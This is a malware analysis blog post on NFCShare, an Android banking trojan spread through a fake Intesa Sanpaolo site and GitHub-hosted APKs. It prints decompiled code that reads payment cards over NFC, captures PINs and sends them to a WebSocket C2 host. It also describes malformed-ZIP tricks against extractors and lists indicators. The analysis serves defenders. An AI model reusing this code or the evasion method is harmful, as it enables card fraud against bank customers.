NFCShare evolves: from a banking phishing APK to a GitHub-hosted Android NFC fraud campaign
In January 2026, we analyzed NFCShare, an Android banking trojan distributed as a malicious A 2026-6-8 12:10:39 Author: www.d3lab.net(查看原文) 阅读量:4 收藏

In January 2026, we analyzed NFCShare, an Android banking trojan distributed as a malicious APK through a phishing flow impersonating Deutsche Bank. The malware presented a fake card-verification interface, asked the victim to place a payment card near the phone, collected the card PIN, and exfiltrated NFC-derived payment-card data to a WebSocket endpoint.

Since 14 May 2026, we have observed a newer wave of NFCShare APKs impersonating Italian and European banking brands. The campaign we investigated started from an ad hoc phishing website, areaclienti-intesa.com, which mimicked the look and feel of Intesa Sanpaolo. After the victim entered home-banking credentials, the phishing flow prompted the user to update the banking application. At that point, the website visually directed the victim to a shortened URL, such as https://tinyurl[.]com/Intesa-Carte, which then redirected toward APKs hosted in the GitHub repository antoniocastaldo1998/app-scuola.

The newer samples are still NFCShare. The core NFC and exfiltration logic remains largely unchanged. The relevant evolution is operational and anti-analysis oriented: more frequent APK rebuilds, brand rotation, a new C2 endpoint, a 10-DEX layout, and malformed ZIP paths designed to break naive APK extractors.

Distribution: phishing site, short URLs, and GitHub hosting

The recent campaign uses bank-themed APK names such as Intesa Carte.apk, Sella Carte.apk, Banca Sella Carte.apk, Klirway Carte.apk, BCC Roma Carte.apk, Fideuram Carte.apk, Mooney Carte.apk, Nexi Carte.apk, CaixaBank.apk, CaixaBankNfc.apk, and CaixaReactivaTarjeta.apk.

The victim flow is consistent with mobile banking phishing. The user is first brought to the fake Intesa Sanpaolo-themed website areaclienti-intesa[.]com. After submitting home-banking credentials, the user is told that the banking app must be updated. The phishing page then redirects through a shortened URL and ultimately leads to the malicious APK hosted on GitHub.

We cannot exclude an additional social-engineering layer: victims may also receive an SMS or a phone call from a fake bank operator who guides them through the process, including enabling Android installation from unknown sources in order to sideload the APK.

The GitHub repository used for hosting is named app-scuola, which translates roughly to “school app”. Its README is a simple decoy:

# app-scuola
app di scuola per compiti a casa
ciaoo!!

The repository also contains a small shell script, likely used locally by the operator to push new builds:

#!/usr/bin/env bash
set -e

BRANCH="main"
COMMIT_MSG="Aggiornato tutto"

git switch "$BRANCH"
git add -A
git commit -m "$COMMIT_MSG"
git push origin "$BRANCH"

The commit history supports this operational model. As of 5 June 2026, the repository contains 57 commits, starting on 10 April 2026, and the vast majority of later commits use the same message: Aggiornato tutto (“Updated everything”). Across the Git history, we identified 56 unique APK payloads referenced as blobs.

Repository timeline

DateObserved activity
10 Apr 2026Repository initialized. Early APKs named Nexi Carte.apk appear.
15 Apr 2026Spanish-language lure appears as Nexi Tarjetas.apk.
22-30 Apr 2026Brand rotation expands to BCC Roma Carte.apk, Klirway Carte.apk, Banca Sella Carte.apk, and Sella NFC.apk.
11-13 May 2026New lures include Mooney Carte.apk, Intesa Carte.apk, and Fideuram Carte.apk.
14 May 2026 onwardRepeated updates to Intesa Carte.apk, consistent with the recent wave observed in the wild.
31 May-4 Jun 2026Additional builds include Sella Carte.apk, Klirway carte.apk, CaixaBank.apk, CaixaBankNfc.apk, and CaixaReactivaTarjeta.apk. A separate 120/ folder contains several test or campaign builds.

What changed since the first NFCShare sample?

We compared the application analyzed in January with the recent Banca Sella sample and other APKs from the GitHub-hosted wave.

FeatureApplication analyzed in JanuaryRecent Sella / Intesa / Klirway wave
Packagecom.modol.napcom.modol.nap
Main activitynfc.share.itnamteis.MainActivitynfc.share.itnamteis.MainActivity
DEX count810
C2ws://38[.]47[.]213[.]197:7068/ws://nfck[.]loseyourip[.]com:8001/
C2 obfuscationEncoded through NPStringFogRecovered in cleartext by JADX
NFC logicIsoDep, EMV parsing, card data exfiltrationSame core logic
UILocal HTML in WebViewSame local HTML template, with minor variants
Anti-analysisStandard APK ZIP layoutMalformed/poisoned ZIP paths that break simple extractors

The most important change is not the C2 rotation, which is expected in an active fraud operation. The most important technical evolution is the packaging: newer APKs contain malformed ZIP entries such as paths rooted under /AndroidManifest.xml/, /classes.dex/, and /resources.arsc/. APKs are ZIP archives, and simple extraction tools may try to write those entries as absolute paths. In our tests, this caused extraction failures such as:

Error extracting files: [Errno 30] Read-only file system: '/AndroidManifest.xml'

This does not prevent proper analysis, but it disrupts automated pipelines that assume benign ZIP paths. It also explains why some family classifiers may return a lower match score for recent samples: the family did not change, but the package structure interferes with extraction and manifest/resource parsing.

Why this is still NFCShare

The recent samples retain the internal markers that originally motivated the NFCShare family name:

  • nfc.share.itnamteis namespace
  • CardInfoitmanteis model
  • MqttChannel enum with CARD_INFO_CHANNEL, CARD_REMOVED, and SEND_CHANNEL
  • Local WebView UI loaded from assets/index.html
  • NFC reader code using android.nfc.tech.IsoDep
  • NPStringFog with the hardcoded key itnewpag
  • Chinese string 发送端 (“sender”) decoded at runtime

The channel enum is particularly useful for attribution and hunting:

package nfc.share.itnamteis.model;

public enum MqttChannel {
    FETCH_CHANNEL,
    SEND_CHANNEL,
    LOG_CHANNEL,
    CARD_INFO_CHANNEL,
    CARD_REMOVED,
    NOTIFICATION_CHANNEL,
    ANSWER_CHANNEL,
    OFFLINE_CHANNEL
}

How the recent Sella sample communicates with the C2

In the recent Sella build, the C2 is visible in MainActivity after decompilation:

public final String f3591z = "ws://nfck[.]loseyourip[.]com:8001/";

// ...
e.f = NPStringFog.decode("8CFBFF8CF7F186CCC6"); // 发送端
e.g = "100";

WebView webView = (WebView) findViewById(R.attr.webview);
this.f3585A = webView;
webView.getSettings().setJavaScriptEnabled(true);
this.f3585A.setWebViewClient(new b());
this.f3585A.loadUrl(
    NPStringFog.decode("0F1D02004D5F4E48081A0A171819053808071D00035F08090D11164B1F040C0B56071A00074D")
);

The decoded WebView URL is:

file:///android_asset/index.html?step=

The WebSocket implementation translates ws:// into an HTTP request URL internally, which is typical of OkHttp-based WebSocket clients:

if (str.startsWith("ws://")) {
    String path = str.substring(3);
    str = "http:".concat(path);
} else if (str.startsWith("wss://")) {
    String path = str.substring(4);
    str = "https:".concat(path);
}

What the malware reads from NFC cards

The NFC reader code uses IsoDep, connects to the payment card, sends an EMV PPSE select APDU, parses the returned data, and builds a CardInfoitmanteis object.

public final class c implements NfcAdapter.ReaderCallback {
    public IsoDep f4125a;

    public final String b(Tag tag) throws IOException {
        IsoDep isoDep = IsoDep.get(tag);
        this.f4125a = isoDep;

        if (!isoDep.isConnected()) {
            this.f4125a.connect();
            this.f4125a.setTimeout(120000);
        }

        byte[] ppse = t1.e.b(d(
            NPStringFog.decode("59442F514744515759315D57424055565C4D5C204243545E5C475C20434455535D425D5544415157")
        ));

        // Decodes to:
        // 00A404000E325041592E5359532E444446303100

        // EMV parsing omitted for readability
        CardInfoitmanteis card = new CardInfoitmanteis(cardNumber, cardType, expiryDate, label);
        t1.e.b.I(MqttChannel.CARD_INFO_CHANNEL, t1.e.c(card.toString().getBytes()));
    }
}

The APDU decodes to:

00 A4 04 00 0E 32 50 41 59 2E 53 59 53 2E 44 44 46 30 31 00
SELECT 2PAY.SYS.DDF01

What is sent to the C2

The card model serializes the extracted data into a simple ampersand-separated string:

public String toString() {
    StringBuilder sb = new StringBuilder();
    sb.append(this.number);
    String sep = NPStringFog.decode("4F"); // &
    sb.append(sep);
    sb.append(this.type);
    sb.append(sep);
    sb.append(this.label);
    sb.append(sep);
    sb.append(new SimpleDateFormat(
        NPStringFog.decode("2439411C0E") // MM/yy
    ).format(this.expireDate));
    return sb.toString();
}

Decoded format:

card_number & card_type_or_PIN & card_label & MM/yy

The PIN is handled by creating a new CardInfoitmanteis object where the entered PIN is placed in the second field and sent again through CARD_INFO_CHANNEL:

String pin = this.f4108a.getText().toString();

CardInfoitmanteis cardInfoitmanteis = new CardInfoitmanteis(
    e.f4113h.getNumber(),
    pin,
    e.f4113h.getExpireDate(),
    e.f4113h.getLabel()
);

e.f4113h = cardInfoitmanteis;
e.b.I(MqttChannel.CARD_INFO_CHANNEL, e.c(cardInfoitmanteis.toString().getBytes()));

User interaction: fake card verification

The recent APKs still use a local HTML/JavaScript interface inside a WebView. The template instructs the user, in Portuguese-language strings, to place the card near the device and then enter a 4-digit PIN “for security”. This is consistent with the earlier NFCShare flow we previously analyzed: the UI creates trust and keeps the victim engaged while the native Android code reads the payment card over NFC.

Figure 1. Fake card-verification screen asking the victim to bring the card close to the phone.

Figure 2. Fake verification progress screen.

Figure 3. PIN collection screen.

Anti-analysis and extraction pitfalls

The newer samples introduce malformed ZIP paths. This is not a sophisticated VM or sandbox check, but it is effective against brittle static pipelines. We observed:

  • January sample: 745 ZIP entries, standard res/ layout, 8 DEX files.
  • Recent Sella/Intesa/Klirway samples: 746 ZIP entries, 10 DEX files, approximately 159 suspicious path entries under fake absolute or nested manifest/resource paths.
  • JADX can still recover the relevant Java code, but exits non-zero on some recent samples due to malformed resources.

For analysts, the key point is that a failed extraction is not a benign signal. In this campaign, extraction failures are themselves useful indicators of the newer NFCShare packaging.

Despite these extraction pitfalls, the samples can still be triaged and analyzed with the open-source tool apkInspector. Its APK parsing and artifact extraction workflow was useful for quickly identifying the NFCShare family markers, DEX layout, manifest-level indicators, and high-level differences between the January sample and the newer GitHub-hosted builds.

Sample clusters

ClusterRepresentative samplesTechnical profile
January sampleApplication analyzed in January8 DEX, standard ZIP layout, C2 encoded with NPStringFog.
Recent 100-seriesSella Carte.apk, Intesa Carte.apk, Klirway Carte.apk10 DEX, malformed ZIP paths, same HTML template hash daf9bb0b..., C2 nfck[.]loseyourip[.]com:8001.
Recent 120-seriesCaixaBank.apk, CaixaBankNfc.apk, CaixaReactivaTarjeta.apk, and test-named builds10 DEX, malformed ZIP paths, slightly different HTML/template DEX set, internal value e.g = "120".

Indicators of Compromise

FilenameMD5SHA-256
IntesaCarte.apkceeb164e387e2a6952dc023eb1cf416af1f78e1ad582c9540205ba808836dcb967b7093190bf994632854269692aa2d2
NexiCarte.apk63d6aaabe27edd5e60339da122d7d0cd6d29e6e5372cd0690e0df62eb6d98938e91191b0e639fed2476497baa8255405
KlirwayCarte.apke937ba13a70cf62da5c5a471df866f6b7fb836c08ff527443b06d1c20afb6a4b0f51eb373013f211e0d3200bf26527b7
NexiTarjetas.apk9ee21d157063fd9023a501ec7f551a56cb147e7ce69723523f604da875d78ca4738e5f416d2297910ee179a5067e79fe
BCCRomaCarte.apk5ecd01356a39ecf540883ff8171b3677091870b3f90c9a98000e0d14a67be2db5891ce98a0b1e24b721e3d96241620a5
SellaNFC.apkfcfd090aa00fe9388da6d20cd23260583c81526bcb801d7dcfaea7f379528471d745a36e3c1bdc41877b4bed34b5dce6
FideuramCarte1.apkdea4c7344a8ab14de16a1018a6e5ccfd9e95912f1a5fdba5050723f095b7031770b7e2f9627fb60544b41adcbb5b3306
BancaSellaCarte.apk45ee3983a7c1133f267af09173668864090a30252991830596c75a945885ca3100d7a40edf4a16d78abd5bbfd90ba268
MooneyCarte.apkded72aeca28a3a63ca1fcb851735689620b5551b2158f599517f29316884b00e0af6ae3a3bd782909f4b36fca1595698
IntesaCarte1.apk156ac1f4f722b7a7135817b07b6367acd29295f1504676003fd3ccbd3e41a53aabbe80d2025bfb3a6ef9a9fcff97b6cd
IntesaCarte2.apkcfd294f31384685270ca8838aac22de921c91c4cb01c7fd286dc8fa6122f6c43a5227677ffbe3566aa37204cd9e494fe
IntesaCarte.apk4f71dc13d349971d76970bde1c6e3be5752f3cacdad6753d4c02bb8e40ef3e0990b55466c18a7b80ec6fa7b9706e40ab
IntesaCarte1.apkdea7c27a5b42df8eeb86188345ab620cce462b41ab7480dce4f290a9921fca51ba40e502d480a348d50770607e3d02b9
IntesaCarte3.apkf44469676097f336dbd587d895da7a619628acabe739b5419f08c5a5c3cd776268bf4a3c25c978341e403bde442e0ece
KlirwayCarte.apk9dec1a25c9e21e0202216e862e0c9e8b000218ce36bc7e3b29318e70eb528cad547a837dca2fb955ae63e505825268de
IntesaCarte7.apk5b68cfe9515654c0d10c228de3abd5c2d80ea77e9f0dbf75be823b631d3f5572ce484abf4542413482f03094a1c8aad0
provakk.apkc849829a852666680cd0de0c0ad1c300f73ad6fad9cfa13deec3e729c99fb2aae33541a84c0e8f53846f9260a2f09252
INTESACARTE5.apk63ca247be35c8ef19308a36a5660b016bfca31aafc6fe22f8fc4fa188a88570a70783877342a02362fd0867ba8f547bc
Klirwaycarte1.apk952d1908bfeb13b8b906c833fea1dea2b1bdd9549dffcff4fbad6d1c80d7ba513b0ed624e4c74a6df09756edc3882134
CaixaBank.apkd9e524c5a75ad511b802f35488f6af5d9fa08e172f73daa3ec8c2fb607b8500bdf915dbf09fcde5a46381e042266149e
IntesaCarte8.apkdcf340486b832f9092df105a865a186a2a24223718cb12a8bd81679b307af73a6e062e6f1b26750546a576e285a379e7
provayr.apka52d062e9d0115ce35c13de234e3e5d015f9d02fbb0124cdf283f7ed3e7f108ff10fe44f9bd8374f48b40a2ebb50168b
kakayarr.apk10604243405e9480170dd68dab93b3e84218216156a2f083c2e79e754d92904403e8e6f54fb91034b193458bbd48346a
IntesaCarte4.apk54b72c48e263a901674a5bcb15f4cbe30cacde8ec59f47dc1bea893f713e922e04aa24c63e8ab0c123aeb0204b0283bb
IntesaCarte10.apka6cc136bdda4a9ec69af6ed2ba969a8573ec7502a638b4520fd8e7d204049f7d064938f58e11d2f27fbb74e61c788257
IntesaCarte6.apk1a9936e788589c10643556c3b515c42a69b6c30e329273585cc1c7a11c411040f34094664c68e49b5542561367ce2368
negroeungilipollas.apkd891da945d285b547642ec5e56ea8dd3426ab891baf22d4a97f8c22a824f2271e8f11c3ac7532a4893e4b7f48767030f
provaok.apk41ac1272a5b5971d9a52d55e2a4dd63d86e9b74bb96db32c03f91f638521be550d5fec827fac6aed70795f576ed8dc45
IntesaCarte9.apk4050e40d3e4604f85ecab2389cae182746e70cb7e3825ae9ea24187c7672e75e70d56bad55c3d143d10903242d59531b
SellaCarte.apk19e201749611c757b4605635e8521bba0024620136cf4239544da4768edf7ec7a398e3b610a471033511305ccf670c42
CaixaReactivaTarjeta.apk8300753f9500ab04ad5bb9920f2d205351f7b3f6991bc6253d33e6b93f4e0429957f3d54d967c461dbb82ea2a4694e12
CaixaBankNfc.apkb16928f4e8447778388e785f746434b3b0e288e8ac116bc1db13536dee2060f7ebdebc4524cba9147132ed633e028cee
TypeIndicatorContext
Packagecom.modol.napObserved across samples
Namespacenfc.share.itnamteisFamily attribution marker
C2ws://38[.]47[.]213[.]197:7068/Earlier NFCShare infrastructure
C2ws://nfck[.]loseyourip[.]com:8001/Recent campaign infrastructure
GitHub repositoryhttps://github[.]com/antoniocastaldo1998/app-scuolaObserved APK hosting repository
Phishing domainareaclienti-intesa[.]comObserved phishing website mimicking Intesa Sanpaolo
Short URLhttps://tinyurl[.]com/Intesa-CarteObserved distribution link

Conclusion

The recent NFCShare wave does not show a major change in malware capability. The Android code still reads payment-card data through IsoDep, asks the victim for the PIN through a fake WebView flow, and sends the resulting data to a WebSocket C2.

The evolution is in campaign operations and analysis resistance. The actor is rotating brands, rebuilding APKs frequently, using URL shorteners, hosting payloads in a public GitHub repository disguised as a school project, and shipping APKs with malformed ZIP paths that can break automated extractors.

For defenders, this means the most resilient detection opportunities are not the APK filename or the C2 endpoint, but the internal NFCShare code markers, the WebView/NFC behavior combination, and the malformed APK structure introduced in the newer builds.


文章来源: https://www.d3lab.net/nfcshare-evolves-from-a-banking-phishing-apk-to-a-github-hosted-android-nfc-fraud-campaign/
如有侵权请联系:admin#unsafe.sh